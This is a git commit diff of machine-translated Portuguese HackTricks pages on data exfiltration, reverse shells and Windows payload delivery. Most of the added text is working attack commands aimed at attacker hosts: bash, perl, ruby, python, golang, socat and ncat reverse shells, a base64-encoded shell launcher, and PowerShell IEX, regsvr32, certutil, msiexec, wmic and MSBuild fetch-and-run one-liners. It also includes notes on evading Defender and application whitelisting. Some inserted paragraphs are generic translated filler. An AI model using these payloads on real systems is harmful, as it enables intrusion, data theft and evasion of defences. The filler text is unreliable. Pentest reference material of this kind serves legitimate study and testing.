Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene

This commit is contained in:
Translator 2024-03-09 13:28:56 +00:00
parent b6dae9edb5
commit af63fa2456
18 changed files with 317 additions and 621 deletions

View file

@ -6,7 +6,7 @@
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
@ -14,14 +14,6 @@ Outras maneiras de apoiar o HackTricks:
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente de graça**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Domínios comumente permitidos para exfiltrar informações
Verifique [https://lots-project.com/](https://lots-project.com/) para encontrar domínios comumente permitidos que podem ser abusados
@ -150,7 +142,7 @@ mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```
### **Cliente** Windows
### **Cliente Windows**
```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
@ -161,14 +153,6 @@ echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## SMB
Kali como servidor
@ -193,21 +177,25 @@ guest ok = Yes
#Start samba
service smbd restart
```
### Exfiltração do Windows
Windows
Existem várias maneiras de exfiltrar dados de um sistema Windows comprometido. Alguns métodos comuns incluem:
## Exfiltração
1. **Utilização de Protocolos de Rede**: Os invasores podem usar protocolos de rede como HTTP, HTTPS, DNS, ou até mesmo ICMP para enviar dados para fora da rede comprometida.
### Ferramentas e Técnicas
2. **Uso de Serviços Legítimos**: Os invasores podem abusar de serviços legítimos do Windows, como PowerShell, PsExec, ou até mesmo o Windows Management Instrumentation (WMI) para exfiltrar dados.
- **Bitsadmin**: Utilize o Bitsadmin para criar e monitorar trabalhos de transferência de arquivos em segundo plano.
- **WMIC**: Utilize o WMIC para executar comandos remotamente e exfiltrar dados.
- **PowerShell**: O PowerShell pode ser usado para exfiltrar dados de várias maneiras, como enviar solicitações HTTP para um servidor remoto.
- **FTP**: O FTP pode ser usado para transferir arquivos de forma eficiente para um servidor remoto.
- **SMB**: O SMB pode ser explorado para exfiltrar dados para um compartilhamento de rede remoto.
- **Email**: Os dados podem ser exfiltrados por e-mail, anexando arquivos ou enviando informações diretamente no corpo do e-mail.
- **Steganography**: A esteganografia pode ser usada para ocultar dados exfiltrados em arquivos de imagem ou outros arquivos multimídia.
- **DNS**: O DNS pode ser explorado para exfiltrar dados, enviando solicitações DNS codificadas para um servidor controlado pelo atacante.
- **Criptografia**: A criptografia pode ser usada para proteger os dados exfiltrados, tornando mais difícil para os defensores interceptarem e entenderem as informações.
3. **Armazenamento em Arquivos**: Os invasores podem armazenar dados em arquivos comprimidos ou criptografados e transferi-los para fora do sistema comprometido.
### Considerações Finais
4. **Técnicas de Esteganografia**: A esteganografia pode ser usada para ocultar dados exfiltrados em arquivos de imagem, áudio ou vídeo.
5. **Túneis de Comunicação**: Os invasores podem criar túneis de comunicação para enviar dados exfiltrados por meio de portas não padrão ou protocolos não convencionais.
É importante estar ciente dessas técnicas de exfiltração para proteger efetivamente os sistemas Windows contra atividades maliciosas.
Ao exfiltrar dados de um sistema Windows, é importante considerar a eficiência da técnica escolhida, bem como a capacidade de evasão de detecção. A escolha da ferramenta ou técnica certa dependerá do ambiente específico e dos requisitos do atacante.
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -230,32 +218,6 @@ sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
```
## NC
### Exfiltration
#### Description
Netcat (nc) is a versatile networking tool that can be used for exfiltration. It can create a connection between two systems, allowing data to be transferred between them. Netcat can be used to exfiltrate data over various protocols such as TCP or UDP.
#### Usage
To exfiltrate data using Netcat, you can set up a listener on the receiving end and a client on the sending end. Here is an example of how to exfiltrate a file using Netcat:
On the receiving end:
```bash
nc -lvp <PORT> > received_file
```
On the sending end:
```bash
nc <RECEIVING_IP> <PORT> < file_to_send
```
Replace `<PORT>` with the desired port number, `<RECEIVING_IP>` with the IP address of the receiving system, and `file_to_send` with the name of the file you want to exfiltrate.
#### Detection
Detecting exfiltration via Netcat can be challenging as it can blend in with legitimate network traffic. Monitoring network traffic for suspicious connections or unusual data transfers can help in detecting unauthorized exfiltration activities. Conducting regular network traffic analysis and monitoring for anomalies can aid in the early detection of data exfiltration using tools like Netcat.
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
@ -316,7 +278,7 @@ cp /path/tp/nc.exe /tftp
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
No **alvo**, conecte-se ao servidor Kali:
Em **vítima**, conecte-se ao servidor Kali:
```bash
tftp -i <KALI-IP> get nc.exe
```
@ -327,6 +289,26 @@ Baixe um arquivo com um PHP oneliner:
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
## VBScript
### Visual Basic Scripting Edition (VBScript)
VBScript is a scripting language developed by Microsoft that is modeled on Visual Basic. It is commonly used for writing scripts to automate tasks on Windows systems. VBScript can be used for various purposes, including system administration, network administration, and web development.
### Exfiltration using VBScript
VBScript can be used for exfiltration by reading data from files, registry keys, or other sources and sending it to an external server using various methods such as HTTP requests or email. This technique can be used by attackers to steal sensitive information from a compromised system.
### Example
```vbscript
Dim objXMLHTTP, strURL
strURL = "http://www.example.com/data=" & dataToExfiltrate
Set objXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP")
objXMLHTTP.open "GET", strURL, False
objXMLHTTP.send
```
In this example, VBScript is used to send data to a specified URL using an HTTP GET request. The `dataToExfiltrate` variable contains the data that is being exfiltrated.
```bash
Attacker> python -m SimpleHTTPServer 80
```
@ -378,23 +360,17 @@ Em seguida, copie e cole o texto no windows-shell e um arquivo chamado nc.exe se
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -2,23 +2,23 @@
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
**Se você tiver dúvidas sobre algum desses shells, você pode verificá-los em** [**https://explainshell.com/**](https://explainshell.com)
**Se você tiver dúvidas sobre algum desses shells, você pode verificá-los com** [**https://explainshell.com/**](https://explainshell.com)
## TTY Completo
**Depois de obter um shell reverso**[ **leia esta página para obter um TTY completo**](full-ttys.md)**.**
**Uma vez que você obtiver um shell reverso**[ **leia esta página para obter um TTY completo**](full-ttys.md)**.**
## Bash | sh
```bash
@ -46,7 +46,7 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
```
#### Explicação do Shell
1. **`bash -i`**: Esta parte do comando inicia um shell interativo (`-i`) do Bash.
1. **`bash -i`**: Esta parte do comando inicia um shell Bash interativo (`-i`).
2. **`>&`**: Esta parte do comando é uma notação abreviada para **redirecionar tanto a saída padrão** (`stdout`) quanto o **erro padrão** (`stderr`) para o **mesmo destino**.
3. **`/dev/tcp/<IP-DO-ATAQUE>/<PORTA>`**: Este é um arquivo especial que **representa uma conexão TCP com o endereço IP e porta especificados**.
* Ao **redirecionar os fluxos de saída e erro para este arquivo**, o comando envia efetivamente a saída da sessão do shell interativo para a máquina do atacante.
@ -59,7 +59,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
```
## Shell Avançado
Se você encontrar uma **vulnerabilidade RCE** em um aplicativo da web baseado em Linux, pode haver casos em que **obter um shell reverso se torne difícil** devido à presença de regras do Iptables ou outros filtros. Em tais cenários, considere criar um shell PTY dentro do sistema comprometido usando pipes.
Se você encontrar uma **vulnerabilidade RCE** em um aplicativo da web baseado em Linux, pode haver casos em que **obter um shell reverso se torne difícil** devido à presença de regras Iptables ou outros filtros. Em tais cenários, considere criar um shell PTY dentro do sistema comprometido usando pipes.
Você pode encontrar o código em [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)
@ -67,7 +67,7 @@ Você só precisa modificar:
* A URL do host vulnerável
* O prefixo e sufixo de sua carga útil (se houver)
* A maneira como a carga útil é enviada (cabeçalhos? dados? informações extras?)
* A forma como a carga útil é enviada (cabeçalhos? dados? informações extras?)
Então, você pode simplesmente **enviar comandos** ou até mesmo **usar o comando `upgrade`** para obter um PTY completo (observe que os pipes são lidos e escritos com um atraso aproximado de 1,3s).
@ -87,7 +87,7 @@ bash -c "$(curl -fsSL gsocket.io/x)"
```
## Telnet
Telnet é um protocolo de rede que permite a comunicação remota com um dispositivo usando um prompt de comando. É comumente usado para acessar e gerenciar dispositivos de rede, como roteadores e switches.
Telnet é um protocolo de rede que permite a comunicação remota com um dispositivo usando um prompt de comando. É comumente usado para acessar e gerenciar dispositivos de rede.
```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
@ -116,12 +116,14 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke
```
## Perl
Perl is a high-level, general-purpose, interpreted programming language known for its flexibility and powerful text processing capabilities. It is commonly used for system administration tasks, web development, and network programming. Perl scripts can be used to create powerful one-liners for various tasks, making it a versatile tool for hackers.
Perl é uma linguagem de programação versátil e poderosa que é frequentemente usada para escrever scripts de shell. Com sua sintaxe flexível e recursos avançados, o Perl é uma escolha popular para tarefas de automação e manipulação de texto no Linux.
```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
## Ruby
Ruby is a dynamic, open source programming language with a focus on simplicity and productivity. It has an elegant syntax that is easy to read and write. Ruby is often used for web development and is known for its Rails framework, which makes building web applications faster and easier.
```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
@ -149,14 +151,6 @@ p.waitFor()
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl
```
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Golang
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
@ -231,7 +225,7 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
### Shell de Conexão
### Shell de Ligação
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
@ -321,6 +315,6 @@ Outras formas de apoiar o HackTricks:
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -14,18 +14,10 @@ Outras maneiras de apoiar o HackTricks:
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Lolbas
A página [lolbas-project.github.io](https://lolbas-project.github.io/) é para Windows como [https://gtfobins.github.io/](https://gtfobins.github.io/) é para linux.\
Obviamente, **não existem arquivos SUID ou privilégios sudo no Windows**, mas é útil saber **como** alguns **binários** podem ser (abusados) para realizar algum tipo de ação inesperada como **executar código arbitrário.**
Obviamente, **não existem arquivos SUID ou privilégios sudo no Windows**, mas é útil saber **como** alguns **binários** podem ser (ab)usados para realizar algum tipo de ação inesperada como **executar código arbitrário.**
## NC
```bash
@ -88,7 +80,7 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
```
Processo realizando chamada de rede: **powershell.exe**\
Carga útil escrita no disco: **NÃO** (_pelo menos em nenhum lugar que eu pudesse encontrar usando o procmon!_)
Carga gravada no disco: **NÃO** (_pelo menos em nenhum lugar que eu pudesse encontrar usando o procmon!_)
```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
@ -218,7 +210,7 @@ rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject(
```
## Regsvr32
* [A partir daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
* [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
@ -256,7 +248,7 @@ set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
```
**Você pode baixar e executar facilmente um zombie Koadic usando o stager regsvr**
**Você pode baixar e executar facilmente um zumbi Koadic usando o stager regsvr**
## Certutil
@ -273,14 +265,6 @@ certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil
**Detectado pelo defensor**
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## **Cscript/Wscript**
```bash
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
@ -318,7 +302,7 @@ Vítima:
```
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
```
**Detetado**
**Detected**
## **Wmic**
@ -326,7 +310,7 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
```bash
wmic os get /format:"https://webserver/payload.xsl"
```
Exemplo de arquivo xsl [aqui](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
Exemplo de arquivo xsl [daqui](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
```xml
<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
@ -348,7 +332,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
```
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```
Pode usar esta técnica para contornar a Lista Branca de Aplicativos e restrições do Powershell.exe. Você será solicitado com um shell PS.\
Pode usar esta técnica para contornar a Lista Branca de Aplicações e restrições do Powershell.exe. Você será solicitado com um shell PS.\
Apenas baixe e execute isso: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
@ -401,17 +385,17 @@ powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
```
Defender ainda não o detecta como código malicioso (ainda, 3/04/2019).
**TAREFA: Verificar outros shells do nishang**
**TODO: Verificar outros shells do nishang**
### **PS-Powercat**
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
Baixe, inicie um servidor web, inicie o ouvinte e execute no lado da vítima:
Baixe, inicie um servidor web, inicie o ouvinte e execute no final da vítima:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
Defender ainda não o detecta como código malicioso (ainda, 3/04/2019).
Defender ainda não o detecta como código malicioso (a 3/04/2019).
**Outras opções oferecidas pelo powercat:**
@ -462,9 +446,9 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
## Mais
[PS>Attack](https://github.com/jaredhaight/PSAttack) console PS com alguns módulos PS ofensivos pré-carregados (cifrado)\
[PS>Attack](https://github.com/jaredhaight/PSAttack) Console PS com alguns módulos ofensivos PS pré-carregados (cifrados)\
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
WinPWN](https://github.com/SecureThisShit/WinPwn) console PS com alguns módulos PS ofensivos e detecção de proxy (IEX)
WinPWN](https://github.com/SecureThisShit/WinPwn) Console PS com alguns módulos ofensivos PS e detecção de proxy (IEX)
## Referências
@ -476,24 +460,16 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) console PS com alguns módulos
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -4,78 +4,70 @@
<summary><strong>Aprenda a hackear a AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
- Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Modelo de Segurança Android
**Existem duas camadas:**
* O **SO**, que mantém aplicativos instalados isolados uns dos outros.
